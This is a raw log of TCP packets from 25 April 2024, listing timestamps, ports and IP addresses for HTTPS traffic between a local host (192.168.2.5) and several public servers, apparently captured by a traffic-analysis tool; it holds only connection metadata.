Apr 25, 2024 21:44:57.776508093 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.776559114 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.776629925 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.779298067 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.779345036 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.779357910 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.793931007 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.793943882 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.793977976 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.793987989 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.794006109 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.794039965 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.794059038 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.794241905 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.794295073 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.795136929 CEST	49717	443	192.168.2.5	151.101.2.137
Apr 25, 2024 21:44:57.795182943 CEST	443	49717	151.101.2.137	192.168.2.5
Apr 25, 2024 21:44:57.898504019 CEST	443	49718	172.217.215.99	192.168.2.5
Apr 25, 2024 21:44:57.899236917 CEST	49718	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:44:57.899250984 CEST	443	49718	172.217.215.99	192.168.2.5
Apr 25, 2024 21:44:57.900150061 CEST	443	49718	172.217.215.99	192.168.2.5
Apr 25, 2024 21:44:57.900223970 CEST	49718	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:44:57.902587891 CEST	49718	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:44:57.902662992 CEST	443	49718	172.217.215.99	192.168.2.5
Apr 25, 2024 21:44:57.945554972 CEST	49718	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:44:57.945569038 CEST	443	49718	172.217.215.99	192.168.2.5
Apr 25, 2024 21:44:57.992125988 CEST	49718	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:44:58.024257898 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:44:58.024274111 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:44:58.116935015 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:44:58.520153999 CEST	49719	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:58.520257950 CEST	443	49719	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:58.520344019 CEST	49719	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:58.523154020 CEST	49719	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:58.523186922 CEST	443	49719	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:58.759874105 CEST	443	49719	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:58.759974003 CEST	49719	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:58.771380901 CEST	49719	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:58.771414995 CEST	443	49719	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:58.771681070 CEST	443	49719	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:58.822602034 CEST	49719	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:58.942194939 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:58.942290068 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:58.942356110 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:58.942596912 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:58.942631006 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.009363890 CEST	49722	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:44:59.009372950 CEST	443	49722	104.26.13.205	192.168.2.5
Apr 25, 2024 21:44:59.009505987 CEST	49722	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:44:59.009650946 CEST	49723	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:44:59.009707928 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.009761095 CEST	49723	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:44:59.009903908 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.009936094 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.010126114 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.010296106 CEST	49722	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:44:59.010308027 CEST	443	49722	104.26.13.205	192.168.2.5
Apr 25, 2024 21:44:59.010432005 CEST	49723	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:44:59.010456085 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.010555983 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.010569096 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.017826080 CEST	49719	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.020832062 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.020864964 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.020982027 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.021397114 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.021406889 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.024844885 CEST	49726	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.024892092 CEST	443	49726	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.025016069 CEST	49726	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.025773048 CEST	49727	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.025785923 CEST	443	49727	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.025871038 CEST	49727	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.039031982 CEST	49727	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.039046049 CEST	443	49727	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.039529085 CEST	49726	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.039572001 CEST	443	49726	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.060129881 CEST	443	49719	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.134315968 CEST	443	49719	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.134566069 CEST	443	49719	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.134718895 CEST	49719	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.146209955 CEST	49719	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.146275043 CEST	443	49719	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.146318913 CEST	49719	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.146337032 CEST	443	49719	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.173063993 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.227256060 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.244658947 CEST	443	49722	104.26.13.205	192.168.2.5
Apr 25, 2024 21:44:59.246546984 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.271445036 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.271470070 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.272111893 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.272124052 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.272308111 CEST	49722	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:44:59.272317886 CEST	443	49722	104.26.13.205	192.168.2.5
Apr 25, 2024 21:44:59.273154020 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.273171902 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.273225069 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.273690939 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.273744106 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.274122953 CEST	443	49722	104.26.13.205	192.168.2.5
Apr 25, 2024 21:44:59.274188042 CEST	49722	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:44:59.275254965 CEST	443	49727	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.286536932 CEST	443	49726	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.289858103 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.316319942 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.316481113 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.317589045 CEST	49727	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.317614079 CEST	443	49727	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.319283009 CEST	49726	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.319300890 CEST	443	49726	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.319576025 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.319833994 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.319982052 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.319989920 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.320200920 CEST	49722	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:44:59.320311069 CEST	443	49722	104.26.13.205	192.168.2.5
Apr 25, 2024 21:44:59.321105957 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.321197033 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.321517944 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.321537018 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.322334051 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.322345972 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.322583914 CEST	49722	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:44:59.322603941 CEST	443	49722	104.26.13.205	192.168.2.5
Apr 25, 2024 21:44:59.323095083 CEST	443	49726	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.323173046 CEST	49726	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.325819969 CEST	443	49727	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.325881004 CEST	49727	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.335810900 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.336041927 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.350012064 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.350337982 CEST	49727	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.350642920 CEST	443	49727	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.350817919 CEST	49726	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.350941896 CEST	49723	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:44:59.350965023 CEST	443	49726	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.350967884 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.351059914 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.351074934 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.351147890 CEST	49727	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.351193905 CEST	49726	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.351216078 CEST	443	49726	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.351303101 CEST	443	49727	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.351905107 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.351995945 CEST	49723	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:44:59.364763975 CEST	49723	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:44:59.364887953 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.365319014 CEST	49723	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:44:59.365341902 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.369200945 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.369224072 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.369234085 CEST	49722	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:44:59.399780989 CEST	49726	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.399806976 CEST	49727	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.399806976 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.414457083 CEST	49723	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:44:59.446054935 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446108103 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446146965 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446187973 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446192980 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.446217060 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446257114 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.446281910 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446336031 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.446343899 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446436882 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446476936 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.446482897 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446521997 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446563959 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446604967 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.446611881 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.446652889 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.447580099 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.447700977 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.447741032 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.447813034 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.447824001 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.447870970 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.447885990 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.447994947 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.467910051 CEST	49728	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.467957020 CEST	443	49728	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.468194008 CEST	49728	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.472742081 CEST	49728	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.472775936 CEST	443	49728	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.476505041 CEST	49720	443	192.168.2.5	104.17.24.14
Apr 25, 2024 21:44:59.476561069 CEST	443	49720	104.17.24.14	192.168.2.5
Apr 25, 2024 21:44:59.497760057 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 25, 2024 21:44:59.497878075 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:44:59.511123896 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.511174917 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.511209965 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.511251926 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.511267900 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.511280060 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.511313915 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.511322021 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.511363029 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.511373043 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.511812925 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.511851072 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.511868954 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.511873960 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.512104034 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.512161016 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.512245893 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.512278080 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.512291908 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.512296915 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.512665987 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.512670994 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.513051033 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.513081074 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.513102055 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.513108015 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.513138056 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.513161898 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.513165951 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.513180017 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.513222933 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.513968945 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.514019966 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.514024973 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.514147997 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.514177084 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.514221907 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.514228106 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.514341116 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.514882088 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.514977932 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.515027046 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.515033960 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.515532017 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.515561104 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.515579939 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.515585899 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.515826941 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.517309904 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.518757105 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.518815994 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.518821955 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.520052910 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.520083904 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.520121098 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.520127058 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.520191908 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.520231009 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.520245075 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.538466930 CEST	49724	443	192.168.2.5	104.18.10.207
Apr 25, 2024 21:44:59.538479090 CEST	443	49724	104.18.10.207	192.168.2.5
Apr 25, 2024 21:44:59.548557997 CEST	443	49722	104.26.13.205	192.168.2.5
Apr 25, 2024 21:44:59.548650980 CEST	443	49722	104.26.13.205	192.168.2.5
Apr 25, 2024 21:44:59.548798084 CEST	49722	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:44:59.568248987 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.568329096 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.568393946 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.568470955 CEST	49723	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:44:59.687115908 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.687169075 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.687177896 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.687237978 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.687285900 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.687289953 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.687289953 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.687309027 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.687340975 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.687356949 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.687366009 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.687393904 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.687762022 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.687781096 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.687819004 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.687839031 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.687869072 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.698726892 CEST	443	49728	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.698824883 CEST	49728	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.726061106 CEST	49728	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.726098061 CEST	443	49728	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.726402044 CEST	443	49728	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.738924980 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.741116047 CEST	49728	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.758369923 CEST	49722	443	192.168.2.5	104.26.13.205
Apr 25, 2024 21:44:59.758397102 CEST	443	49722	104.26.13.205	192.168.2.5
Apr 25, 2024 21:44:59.788125992 CEST	443	49728	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.817378044 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.817393064 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.817481041 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.817482948 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.817502022 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.817545891 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.817554951 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.817594051 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.817883015 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.817920923 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.817974091 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.817982912 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.818005085 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.818018913 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.818305016 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.818325043 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.818372965 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.818380117 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.818408012 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.818428040 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.834851980 CEST	49723	443	192.168.2.5	152.199.4.44
Apr 25, 2024 21:44:59.834929943 CEST	443	49723	152.199.4.44	192.168.2.5
Apr 25, 2024 21:44:59.887409925 CEST	49729	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.887458086 CEST	443	49729	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.887598038 CEST	49729	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.888067007 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.888168097 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.888238907 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.888855934 CEST	49729	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.888870001 CEST	443	49729	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.889086962 CEST	49730	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:44:59.889128923 CEST	443	49730	172.67.172.36	192.168.2.5
Apr 25, 2024 21:44:59.920382977 CEST	443	49728	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.920527935 CEST	443	49728	23.54.200.130	192.168.2.5
Apr 25, 2024 21:44:59.920620918 CEST	49728	443	192.168.2.5	23.54.200.130
Apr 25, 2024 21:44:59.947410107 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.947438955 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.947532892 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.947551012 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.947609901 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.948561907 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.948664904 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.948674917 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.948738098 CEST	49725	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:44:59.948854923 CEST	443	49725	69.164.216.107	192.168.2.5
Apr 25, 2024 21:44:59.948875904 CEST	443	49725	69.164.216.107	192.168.2.5
